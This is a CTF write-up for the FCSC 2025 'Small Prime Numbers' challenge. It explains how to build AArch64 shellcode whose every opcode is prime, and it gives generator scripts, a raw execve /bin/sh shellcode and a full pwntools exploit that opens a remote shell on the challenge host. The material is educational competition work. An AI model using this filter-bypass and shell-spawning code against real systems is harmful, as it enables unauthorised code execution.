FCSC 2025 - Small Prime Numbers

Posted Mon 21 April 2025
Author cpu_eater
Category Writeup
Reading 12 min read
Featured image

Context

This challenge is a service that accepts and executes a 32 bits Aarch64 shellcode only if each 4 bytes of opcode of the shellcode is a prime number.

Strategy

Because we need prime numbers, we can ban all 4 bytes of opcodes that are even.
I wanted to know if it was possible to write anywhere and indeed before the shellcode starts executing, x0 value was pointing at an area mapped as RWX.

I can try pivoting the stack to this address to write my shellcode inside (using mov sp, x0) and branch x0 to execute it. But are these opcodes instructions 4-bytes prime numbers ?
I used this function to be sure :

from pwn import *
from sympy import *

f = lambda _: isprime(u32(asm(_,arch="aarch64")))
  • mov sp, x0 is a valid instruction !
  • But br x0 is not…

I quickly found out that i had to search for an automatic way to write anything anywhere using only prime opcodes…

Semi-automatic prime instructions finder

I can point sp to a RWX area (pointed by x0). But can i write inside using only prime opcodes ?
I used the function above to manually tell if strb <reg>, [sp] (store byte instruction) was prime from x0-w0 to x30-w30 register range and strb w27, [sp] seems prime !

Notes : it seems that depending on a chosen register, the opcode becomes even or odd. And 4-bytes opcode is always odd when i use w27 register so that the instruction could potentially be a prime number !

So i have to control the LSB of w27 register.
With a combination of mov + add + sub, i can theoritically put any 256 bits value in w27 register…

Here is the function i used to get a set of ready-to-use prime opcodes :

from pwn import *
from sympy import *

def generate_all_primes_strb_sp_w27():
    global l1 # mov
    global l2 # add
    global l3 # sub
    for i in range(0,256):
        instruction_1 = f"mov w27, #{i}"
        instruction_2 = f"sub w27, w27, #{i}"
        instruction_3 = f"add w27, w27, #{i}"
        i_1 = u32(asm(instruction_1,arch="aarch64"))
        i_2 = u32(asm(instruction_2,arch="aarch64"))
        i_3 = u32(asm(instruction_3,arch="aarch64"))
        if(isprime(i_1)):
            l1[i] = (i_1,instruction_1)
        if(isprime(i_2)):
            l2[i] = (i_2,instruction_2)
        if(isprime(i_3)):
            l3[i] = (i_3,instruction_3)

And its result in l1, l2 and l3 global dictionnaries :

l1 = {7: (1384120571, 'mov w27, #7'), 22: (1384121051, 'mov w27, #22'), 28: (1384121243, 'mov w27, #28'), 53: (1384122043, 'mov w27, #53'), 65: (1384122427, 'mov w27, #65'), 67: (1384122491, 'mov w27, #67'), 80: (1384122907, 'mov w27, #80'), 86: (1384123099, 'mov w27, #86'), 97: (1384123451, 'mov w27, #97'), 98: (1384123483, 'mov w27, #98'), 100: (1384123547, 'mov w27, #100'), 122: (1384124251, 'mov w27, #122'), 125: (1384124347, 'mov w27, #125'), 140: (1384124827, 'mov w27, #140'), 143: (1384124923, 'mov w27, #143'), 157: (1384125371, 'mov w27, #157'), 158: (1384125403, 'mov w27, #158'), 160: (1384125467, 'mov w27, #160'), 176: (1384125979, 'mov w27, #176'), 197: (1384126651, 'mov w27, #197'), 202: (1384126811, 'mov w27, #202'), 223: (1384127483, 'mov w27, #223'), 227: (1384127611, 'mov w27, #227'), 235: (1384127867, 'mov w27, #235'), 238: (1384127963, 'mov w27, #238'), 241: (1384128059, 'mov w27, #241')}
l2 = {5: (1358960507, 'sub w27, w27, #5'), 19: (1358974843, 'sub w27, w27, #19'), 20: (1358975867, 'sub w27, w27, #20'), 23: (1358978939, 'sub w27, w27, #23'), 58: (1359014779, 'sub w27, w27, #58'), 59: (1359015803, 'sub w27, w27, #59'), 61: (1359017851, 'sub w27, w27, #61'), 71: (1359028091, 'sub w27, w27, #71'), 73: (1359030139, 'sub w27, w27, #73'), 91: (1359048571, 'sub w27, w27, #91'), 115: (1359073147, 'sub w27, w27, #115'), 118: (1359076219, 'sub w27, w27, #118'), 125: (1359083387, 'sub w27, w27, #125'), 133: (1359091579, 'sub w27, w27, #133'), 143: (1359101819, 'sub w27, w27, #143'), 164: (1359123323, 'sub w27, w27, #164'), 166: (1359125371, 'sub w27, w27, #166'), 170: (1359129467, 'sub w27, w27, #170'), 173: (1359132539, 'sub w27, w27, #173'), 208: (1359168379, 'sub w27, w27, #208'), 223: (1359183739, 'sub w27, w27, #223')}
l3 = {6: (285219707, 'add w27, w27, #6'), 12: (285225851, 'add w27, w27, #12'), 32: (285246331, 'add w27, w27, #32'), 39: (285253499, 'add w27, w27, #39'), 44: (285258619, 'add w27, w27, #44'), 54: (285268859, 'add w27, w27, #54'), 66: (285281147, 'add w27, w27, #66'), 72: (285287291, 'add w27, w27, #72'), 75: (285290363, 'add w27, w27, #75'), 101: (285316987, 'add w27, w27, #101'), 104: (285320059, 'add w27, w27, #104'), 105: (285321083, 'add w27, w27, #105'), 107: (285323131, 'add w27, w27, #107'), 111: (285327227, 'add w27, w27, #111'), 114: (285330299, 'add w27, w27, #114'), 117: (285333371, 'add w27, w27, #117'), 119: (285335419, 'add w27, w27, #119'), 122: (285338491, 'add w27, w27, #122'), 137: (285353851, 'add w27, w27, #137'), 156: (285373307, 'add w27, w27, #156'), 159: (285376379, 'add w27, w27, #159'), 171: (285388667, 'add w27, w27, #171'), 180: (285397883, 'add w27, w27, #180'), 186: (285404027, 'add w27, w27, #186'), 200: (285418363, 'add w27, w27, #200'), 207: (285425531, 'add w27, w27, #207', 209: (285427579, 'add w27, w27, #209'), 219: (285437819, 'add w27, w27, #219'), 227: (285446011, 'add w27, w27, #227'), 240: (285459323, 'add w27, w27, #240')}

A bunch of data ! To be sure that i can write any byte value i want, i used this function :

def can_i_write_any_byte_value():
    for i in range(256):
        good = False
        for x,y in l1.items(): # mov
            for j,f in l2.items(): # sub
                if((x-j)%256 == x):
                    good = True
        for x,y in l1.items(): # mov
            for j,f in l3.items(): # add
                if((j+x)%256 == x):
                    good = True
        for x,y in l1.items(): # mov
            for j,f in l3.items(): # add
                for k,g in l3.items(): # add
                    if((j+x+k)%256 == x):
                        good = True
        if(not good):
            print("Can't write value " + str(i))

I can write any 256 bits value i want when using these combinations :

  • mov + sub
  • mov + add
  • mov + add + add

Writing the shellcode

I have to find a way to write the shellcode and i know that i can write byte by byte. But i have to increment sp. Luckily, add sp, sp, <imm> and sub sp, sp, <imm> are odd and potentially prime, but add sp, sp, #1 isn’t prime…

I used this function to return a couple of prime instructions to increment sp :

from pwn import *
from sympy import *

def increment_sp():
    f = lambda _: isprime(u32(asm(_,arch="aarch64")))
    for i in range(0,255):
        for j in range(0,255):
            if(i-j == 1):
                a = "add sp,sp,#"+str(i)
                s = "sub sp,sp,#"+str(i)
                if(f(a) and f(s)):
                    return a+" , "+s

This function returned

  • add sp,sp,#6
  • sub sp,sp,#5

Perfect ! I can now use these custom functions below to write my shellcode anywhere.

I used l1, l2 and l3 dictionnaries generated above

from pwn import *
from sympy import *

store_sp = asm("strb w27, [sp]",arch="aarch64")
add_sp_1 = asm("add sp, sp, #6",arch="aarch64") + asm("sub sp, sp, #5",arch="aarch64")

def strb_sp_w27(x):
    for i,e in l1.items(): # mov
        for j,f in l2.items(): # sub
            if((i-j)%256 == x):
                return p32(e[0]) + p32(f[0])
    for i,e in l1.items(): # mov
        for j,f in l3.items(): # add
            if((j+i)%256 == x):
                return p32(e[0]) + p32(f[0])
    for i,e in l1.items(): # mov
        for j,f in l3.items(): # add
            for k,g in l3.items(): # add
                if((j+i+k)%256 == x):
                    return p32(e[0]) + p32(f[0]) + p32(g[0])

def write_byte_with_sp(_):
    f = b""
    for i in range(len(_)):
        f += strb_sp_w27(_[i]) + store_sp + add_sp_1
    return f

And i will use write_byte_with_sp() to automatically write any byte i want. Here is my shellcode :

"""
   0:   f28c45e1        movk    x1, #0x622f
   4:   f2adcd21        movk    x1, #0x6e69, lsl #16
   8:   f2c5e5e1        movk    x1, #0x2f2f, lsl #32
   c:   f2ed0e61        movk    x1, #0x6873, lsl #48
  10:   ca1f03e2        eor     x2, xzr, xzr
  14:   a8840be1        stp     x1, x2, [sp], #64
  18:   ca1f03e1        eor     x1, xzr, xzr
  1c:   d10103e0        sub     x0, sp, #0x40
  20:   d2801ba8        mov     x8, #0xdd                       // #221
  24:   d40266e1        svc     #0x1337
"""

shellcode = b"\xe1\x45\x8c\xf2\x21\xcd\xad\xf2\xe1\xe5\xc5\xf2\x61\x0e\xed\xf2\xe2\x03\x1f\xca\xe1\x0b\x84\xa8\xe1\x03\x1f\xca\xe0\x03\x01\xd1\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

However, i still have to branch x0 to execute the shellcode that is freshly written in the area pointed by x0 and br x0 instruction is not prime…

I can try to get a suitable value so that add sp, sp <imm> points near the end of the whole payload and so that i can write br x0 opcodes in this location. I manually found that 0x370 is quite good but i have to shift all my payload of 4 bytes. How can i do this ? Using any prime opcode instruction as the first instruction to act like nop ! (Because nop is not prime…)

I used "mov w27, #7 (from l1 dictionnary) as the first instruction to be useless and to shift all my payload of 4 bytes so that add sp, sp #0x370 points to the near end of the payload. I can then write br x0 at this location to jump to my shellcode.

Synchronisation problem

Let’s recap using this layout below :

         +--------------------+                             |
+------> | mov w27, #7        | (nop : start of shellcode)  | <--- x0 points here
|        +--------------------+                             | 
|        | start of payload   |                             |
|        | that will write    |                             | Execution flow
|        | the shellcode      |                             |
|        +--------------------+                             | 
+------- | br x0              | written by our payload      |
		 +--------------------+                             v

But wait… aren’t we executing our shellcode in an area that… writes our shellcode ?? Yes. And this causes a synchronization problem on Aarch64 (see this article)

To carefully synchronize, we have to use isb instruction : it flushes the CPU’s instruction pipeline and ensures that any changes to the program state (like memory writes or cache invalidations) are observed before the processor fetches and executes new instructions.

But isb isn’t prime : it is still odd (and potentially prime). I can manually find a valid value with this instruction and isb #7 is prime.

I still have some space left between the start of the payload and br x0 so i can spray this instruction 8 times.

Why mulitple times ? Idk maybe to increase chance of synchronizing and because i was tired i wanted it to work lol

Here is the final strategy :

         +--------------------+                             |
+------> | mov w27, #7        | (nop : start of shellcode)  | <--- x0 points here
|        +--------------------+                             | 
|        | start of payload   |                             |
|        | that will write    |                             |
|        | the shellcode      |                             |
|        +--------------------+                             | 
|        | isb #7             |                             |
|        | isb #7             |                             | Execution flow
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        +--------------------+                             |
+------- | br x0              | written by our payload      |
		 +--------------------+                             v

Final Exploit

from pwn import *
from sympy import *

l1 = {7: (1384120571, 'mov w27, #7'), 22: (1384121051, 'mov w27, #22'), 28: (1384121243, 'mov w27, #28'), 53: (1384122043, 'mov w27, #53'), 65: (1384122427, 'mov w27, #65'), 67: (1384122491, 'mov w27, #67'), 80: (1384122907, 'mov w27, #80'), 86: (1384123099, 'mov w27, #86'), 97: (1384123451, 'mov w27, #97'), 98: (1384123483, 'mov w27, #98'), 100: (1384123547, 'mov w27, #100'), 122: (1384124251, 'mov w27, #122'), 125: (1384124347, 'mov w27, #125'), 140: (1384124827, 'mov w27, #140'), 143: (1384124923, 'mov w27, #143'), 157: (1384125371, 'mov w27, #157'), 158: (1384125403, 'mov w27, #158'), 160: (1384125467, 'mov w27, #160'), 176: (1384125979, 'mov w27, #176'), 197: (1384126651, 'mov w27, #197'), 202: (1384126811, 'mov w27, #202'), 223: (1384127483, 'mov w27, #223'), 227: (1384127611, 'mov w27, #227'), 235: (1384127867, 'mov w27, #235'), 238: (1384127963, 'mov w27, #238'), 241: (1384128059, 'mov w27, #241')}
l2 = {5: (1358960507, 'sub w27, w27, #5'), 19: (1358974843, 'sub w27, w27, #19'), 20: (1358975867, 'sub w27, w27, #20'), 23: (1358978939, 'sub w27, w27, #23'), 58: (1359014779, 'sub w27, w27, #58'), 59: (1359015803, 'sub w27, w27, #59'), 61: (1359017851, 'sub w27, w27, #61'), 71: (1359028091, 'sub w27, w27, #71'), 73: (1359030139, 'sub w27, w27, #73'), 91: (1359048571, 'sub w27, w27, #91'), 115: (1359073147, 'sub w27, w27, #115'), 118: (1359076219, 'sub w27, w27, #118'), 125: (1359083387, 'sub w27, w27, #125'), 133: (1359091579, 'sub w27, w27, #133'), 143: (1359101819, 'sub w27, w27, #143'), 164: (1359123323, 'sub w27, w27, #164'), 166: (1359125371, 'sub w27, w27, #166'), 170: (1359129467, 'sub w27, w27, #170'), 173: (1359132539, 'sub w27, w27, #173'), 208: (1359168379, 'sub w27, w27, #208'), 223: (1359183739, 'sub w27, w27, #223')}
l3 = {6: (285219707, 'add w27, w27, #6'), 12: (285225851, 'add w27, w27, #12'), 32: (285246331, 'add w27, w27, #32'), 39: (285253499, 'add w27, w27, #39'), 44: (285258619, 'add w27, w27, #44'), 54: (285268859, 'add w27, w27, #54'), 66: (285281147, 'add w27, w27, #66'), 72: (285287291, 'add w27, w27, #72'), 75: (285290363, 'add w27, w27, #75'), 101: (285316987, 'add w27, w27, #101'), 104: (285320059, 'add w27, w27, #104'), 105: (285321083, 'add w27, w27, #105'), 107: (285323131, 'add w27, w27, #107'), 111: (285327227, 'add w27, w27, #111'), 114: (285330299, 'add w27, w27, #114'), 117: (285333371, 'add w27, w27, #117'), 119: (285335419, 'add w27, w27, #119'), 122: (285338491, 'add w27, w27, #122'), 137: (285353851, 'add w27, w27, #137'), 156: (285373307, 'add w27, w27, #156'), 159: (285376379, 'add w27, w27, #159'), 171: (285388667, 'add w27, w27, #171'), 180: (285397883, 'add w27, w27, #180'), 186: (285404027, 'add w27, w27, #186'), 200: (285418363, 'add w27, w27, #200'), 207: (285425531, 'add w27, w27, #207'), 209: (285427579, 'add w27, w27, #209'), 219: (285437819, 'add w27, w27, #219'), 227: (285446011, 'add w27, w27, #227'), 240: (285459323, 'add w27, w27, #240')}

nop = asm("mov w27, #7",arch="aarch64")
mov_sp_x0 = asm("mov sp, x0",arch="aarch64")
store_sp = asm("strb w27, [sp]",arch="aarch64")
add_sp_1 = asm("add sp, sp, #6",arch="aarch64") + asm("sub sp, sp, #5",arch="aarch64")
br_x0 = asm("br x0",arch="aarch64")

def strb_sp_w27(x):
    for i,e in l1.items(): # mov
        for j,f in l2.items(): # sub
            if((i-j)%256 == x):
                return p32(e[0]) + p32(f[0])
    for i,e in l1.items(): # mov
        for j,f in l3.items(): # add
            if((j+i)%256 == x):
                return p32(e[0]) + p32(f[0])
    for i,e in l1.items(): # mov
        for j,f in l3.items(): # add
            for k,g in l3.items(): # add
                if((j+i+k)%256 == x):
                    return p32(e[0]) + p32(f[0]) + p32(g[0])

def write_byte_with_sp(_):
    f = b""
    for i in range(len(_)):
        f += strb_sp_w27(_[i]) + store_sp + add_sp_1
    return f

shellcode = b"\xe1\x45\x8c\xf2\x21\xcd\xad\xf2\xe1\xe5\xc5\xf2\x61\x0e\xed\xf2\xe2\x03\x1f\xca\xe1\x0b\x84\xa8\xe1\x03\x1f\xca\xe0\x03\x01\xd1\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" 

payload = nop + mov_sp_x0
payload += write_byte_with_sp(shellcode)
payload += asm("add sp,sp,#0x370",arch="aarch64")
payload += write_byte_with_sp(br_x0)
payload += asm("isb #7",arch="aarch64") * 8

with open("file","wb") as file:
    file.write(payload)

p = remote("chall.fcsc.fr",2101)
p.send(payload)
p.interactive()